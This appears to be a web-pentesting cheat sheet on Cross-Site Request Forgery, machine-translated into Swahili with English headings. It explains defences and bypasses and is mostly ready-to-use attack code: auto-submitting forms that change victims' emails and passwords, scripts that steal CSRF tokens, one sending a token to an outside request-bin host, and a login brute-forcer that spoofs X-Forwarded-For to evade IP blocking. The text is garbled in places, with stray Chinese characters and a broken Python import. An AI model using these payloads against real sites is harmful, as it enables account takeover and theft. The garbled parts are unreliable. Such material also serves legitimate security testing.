CSRF (Cross Site Request Forgery)

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Cross-Site Request Forgery (CSRF) Explained

Cross-Site Request Forgery (CSRF) ni aina ya udhaifu wa usalama unaopatikana katika programu za wavuti. Inawawezesha washambuliaji kufanya vitendo kwa niaba ya watumiaji wasiojua kwa kutumia vikao vyao vilivyothibitishwa. Shambulio linafanyika wakati mtumiaji, ambaye amejiandikisha kwenye jukwaa la mwathirika, anatembelea tovuti mbaya. Tovuti hii kisha inasababisha maombi kwa akaunti ya mwathirika kupitia mbinu kama vile kutekeleza JavaScript, kuwasilisha fomu, au kupakua picha.

Prerequisites for a CSRF Attack

Ili kutumia udhaifu wa CSRF, masharti kadhaa yanapaswa kutimizwa:

1. Tafuta Kitendo Chenye Thamani: Mshambuliaji anahitaji kupata kitendo kinachostahili kutumiwa, kama kubadilisha nenosiri la mtumiaji, barua pepe, au kuongeza mamlaka.

2. Usimamizi wa Kikao: Kikao cha mtumiaji kinapaswa kusimamiwa pekee kupitia vidakuzi au kichwa cha HTTP Basic Authentication, kwani vichwa vingine haviwezi kubadilishwa kwa kusudi hili.

3. Ukosefu wa Vigezo Visivyoweza Kutabirika: Ombi halipaswi kuwa na vigezo visivyoweza kutabirika, kwani vinaweza kuzuia shambulio.

Quick Check

You could capture the request in Burp and check CSRF protections and to test from the bowser you can click on Copy as fetch and check the request:

Defending Against CSRF

Hatua kadhaa za kinga zinaweza kutekelezwa ili kulinda dhidi ya mashambulizi ya CSRF:

• SameSite cookies: Sifa hii inazuia kivinjari kutuma vidakuzi pamoja na maombi ya tovuti tofauti. More about SameSite cookies.

• Cross-origin resource sharing: Sera ya CORS ya tovuti ya mwathirika inaweza kuathiri uwezekano wa shambulio, hasa ikiwa shambulio linahitaji kusoma jibu kutoka kwa tovuti ya mwathirika. Learn about CORS bypass.

• User Verification: Kuuliza nenosiri la mtumiaji au kutatua captcha kunaweza kuthibitisha nia ya mtumiaji.

• Checking Referrer or Origin Headers: Kuthibitisha vichwa hivi kunaweza kusaidia kuhakikisha maombi yanatoka kwa vyanzo vinavyotegemewa. Hata hivyo, kuunda URL kwa uangalifu kunaweza kupita ukaguzi usiofaa, kama vile:

• Using http://mal.net?orig=http://example.com (URL inamalizika na URL inayotegemewa)

• Using http://example.com.mal.net (URL inaanza na URL inayotegemewa)

• Modifying Parameter Names: Kubadilisha majina ya vigezo katika maombi ya POST au GET kunaweza kusaidia kuzuia mashambulizi ya kiotomatiki.

• CSRF Tokens: Kuingiza tokeni ya kipekee ya CSRF katika kila kikao na kuhitaji tokeni hii katika maombi yanayofuata kunaweza kupunguza hatari ya CSRF kwa kiasi kikubwa. Ufanisi wa tokeni unaweza kuimarishwa kwa kutekeleza CORS.

Kuelewa na kutekeleza hizi kinga ni muhimu kwa kudumisha usalama na uadilifu wa programu za wavuti.

Defences Bypass

From POST to GET

Labda fomu unayotaka kutumia vibaya imeandaliwa kutuma POST request with a CSRF token but, unapaswa check ikiwa GET pia ni valid na ikiwa unapowasilisha GET request CSRF token bado inathibitishwa.

Lack of token

Programu zinaweza kutekeleza mekanismu ya validate tokens wakati zinapokuwepo. Hata hivyo, udhaifu unatokea ikiwa uthibitishaji unakosolewa kabisa wakati token inakosekana. Washambuliaji wanaweza kutumia hii kwa kuondoa parameter inayobeba token, si tu thamani yake. Hii inawawezesha kupita mchakato wa uthibitishaji na kufanya shambulio la Cross-Site Request Forgery (CSRF) kwa ufanisi.

CSRF token is not tied to the user session

Programu zisizofunga CSRF tokens kwa vikao vya mtumiaji zina hatari kubwa ya usalama. Mifumo hii inathibitisha tokeni dhidi ya global pool badala ya kuhakikisha kila token inafungwa na kikao kinachoanzisha.

Hapa kuna jinsi washambuliaji wanavyotumia hii:

1. Authenticate kwa kutumia akaunti yao wenyewe.

2. Obtain a valid CSRF token kutoka kwa global pool.

3. Use this token katika shambulio la CSRF dhidi ya mwathirika.

Udhaifu huu unawawezesha washambuliaji kufanya maombi yasiyoidhinishwa kwa niaba ya mwathirika, wakitumia mkanika wa uthibitishaji wa tokeni wa programu usiofaa.

Method bypass

Ikiwa ombi linatumia "weird" method, angalia ikiwa method override functionality inafanya kazi. Kwa mfano, ikiwa inatumia PUT method unaweza kujaribu kutumia POST method na send: https://example.com/my/dear/api/val/num?_method=PUT

Hii inaweza pia kufanya kazi kwa kutuma _method parameter ndani ya POST request au kutumia headers:

• X-HTTP-Method

• X-HTTP-Method-Override

• X-Method-Override

Custom header token bypass

Ikiwa ombi linaongeza custom header yenye token kwa ombi kama CSRF protection method, basi:

• Jaribu ombi bila Customized Token na pia header.

• Jaribu ombi lenye same length lakini token tofauti.

CSRF token is verified by a cookie

Programu zinaweza kutekeleza ulinzi wa CSRF kwa kuiga tokeni katika vidakuzi na parameter ya ombi au kwa kuweka cookie ya CSRF na kuthibitisha ikiwa tokeni iliyotumwa kwenye backend inalingana na cookie. Programu inathibitisha maombi kwa kuangalia ikiwa tokeni katika parameter ya ombi inalingana na thamani katika cookie.

Hata hivyo, mbinu hii ina udhaifu kwa mashambulizi ya CSRF ikiwa tovuti ina kasoro zinazomruhusu mshambuliaji kuweka cookie ya CSRF kwenye kivinjari cha mwathirika, kama vile udhaifu wa CRLF. Mshambuliaji anaweza kutumia hii kwa kupakia picha ya udanganyifu inayoweka cookie, ikifuatiwa na kuanzisha shambulio la CSRF.

Below is an example of how an attack could be structured:

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>

Kumbuka kwamba ikiwa csrf token inahusiana na cookie ya kikao, shambulio hili halitafanya kazi kwa sababu utahitaji kuweka kikao cha mwathirika, na kwa hivyo utakuwa unajishambulia mwenyewe.

Mabadiliko ya Aina ya Maudhui

Kulingana na hii, ili kuepuka maombi ya preflight kutumia njia ya POST, hizi ndizo thamani za Aina ya Maudhui zinazoruhusiwa:

• application/x-www-form-urlencoded

• multipart/form-data

• text/plain

Hata hivyo, kumbuka kwamba mantiki ya seva inaweza kutofautiana kulingana na Aina ya Maudhui iliyotumika, hivyo unapaswa kujaribu thamani zilizotajwa na nyingine kama application/json,text/xml, application/xml.

Mfano (kutoka hapa) wa kutuma data ya JSON kama text/plain:

<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>

Kupita Maombi ya Preflight kwa Data ya JSON

Wakati wa kujaribu kutuma data ya JSON kupitia ombi la POST, kutumia Content-Type: application/json katika fomu ya HTML si rahisi moja kwa moja. Vivyo hivyo, kutumia XMLHttpRequest kutuma aina hii ya maudhui huanzisha ombi la preflight. Hata hivyo, kuna mikakati ya kuweza kupita kikomo hiki na kuangalia ikiwa seva inashughulikia data ya JSON bila kujali Aina ya Maudhui:

1. Tumia Aina Mbadala za Maudhui: Tumia Content-Type: text/plain au Content-Type: application/x-www-form-urlencoded kwa kuweka enctype="text/plain" katika fomu. Njia hii inajaribu kuangalia ikiwa backend inatumia data bila kujali Aina ya Maudhui.

2. Badilisha Aina ya Maudhui: Ili kuepuka ombi la preflight huku ukihakikisha seva inatambua maudhui kama JSON, unaweza kutuma data na Content-Type: text/plain; application/json. Hii haisababishi ombi la preflight lakini inaweza kushughulikiwa ipasavyo na seva ikiwa imewekwa kukubali application/json.

3. Matumizi ya Faili ya SWF Flash: Njia isiyo ya kawaida lakini inayowezekana inahusisha kutumia faili ya SWF flash kupita vizuizi kama hivi. Kwa ufahamu wa kina wa mbinu hii, rejelea hiki chapisho.

Kupita Ukaguzi wa Referrer / Origin

Epuka kichwa cha Referrer

Programu zinaweza kuthibitisha kichwa cha 'Referer' tu wakati kiko. Ili kuzuia kivinjari kutuma kichwa hiki, tag ya meta ya HTML ifuatayo inaweza kutumika:

<meta name="referrer" content="never">

Hii inahakikisha kuwa kichwa cha 'Referer' hakijajumuishwa, huenda ikapita mchakato wa uthibitishaji katika baadhi ya programu.

Regexp bypasses

URL Format Bypass

Ili kuweka jina la kikoa la seva katika URL ambayo Referrer itatuma ndani ya vigezo unaweza kufanya:

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>

HEAD method bypass

Sehemu ya kwanza ya hii CTF writeup inaelezea kwamba mwanzo wa Oak, router imewekwa kushughulikia maombi ya HEAD kama maombi ya GET bila mwili wa jibu - njia ya kawaida ambayo si ya kipekee kwa Oak. Badala ya mpangilio maalum unaoshughulikia maombi ya HEAD, yanapewa tu mpangilio wa GET lakini programu inatoa tu mwili wa jibu.

Hivyo, ikiwa ombi la GET linapunguzwa, unaweza tu kutuma ombi la HEAD ambalo litashughulikiwa kama ombi la GET.

Mifano ya Kutumia

Kutoa CSRF Token

Ikiwa CSRF token inatumika kama kinga unaweza kujaribu kutoa kwa kutumia udhaifu wa XSS au udhaifu wa Dangling Markup.

GET kwa kutumia lebo za HTML

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Mengineyo ya vitambulisho vya HTML5 ambavyo vinaweza kutumika kutuma ombi la GET kiotomatiki ni:

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="">
<embed src="...">
<audio src="...">
<video src="...">
<source src="..." type="...">
<video poster="...">
<link rel="stylesheet" href="...">
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body { background: url('...'); }
</style>
<bgsound src="...">
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">

Fomu ya ombi la GET

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="[e-mail]" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Ombi la POST la Fomu

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="[e-mail]" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>

Omba POST ya fomu kupitia iframe

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="[e-mail]" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Ombi la Ajax POST

<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
})
</script>

multipart/form-data POST ombi

myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});

multipart/form-data POST request v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";

//xhr.send(body);
xhr.sendAsBinary(body);

Fomu ya POST ombi kutoka ndani ya iframe

<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

K盗a CSRF Token na kutuma ombi la POST

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy");
}

function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();

Kununua CSRF Token na kutuma ombi la Post kwa kutumia iframe, fomu na Ajax

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;

document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

K盗 CSRF Token na kutuma ombi la POST kwa kutumia iframe na fomu

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>

Iibi token na utume kwa kutumia iframes 2

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTIibi CSRF token kwa Ajax na tuma posti na fomu

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>

CSRF na Socket.IO

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})

});
</script>

CSRF Login Brute Force

Msimbo unaweza kutumika kufanya Brut Force fomu ya kuingia kwa kutumia token ya CSRF (Pia inatumia kichwa X-Forwarded-For kujaribu kupita uwezekano wa kuorodheshwa kwa IP):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Tools

• https://github.com/0xInfection/XSRFProbe

• https://github.com/merttasci/csrf-poc-generator

References

• https://portswigger.net/web-security/csrf

• https://portswigger.net/web-security/csrf/bypassing-token-validation

• https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses

• https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html

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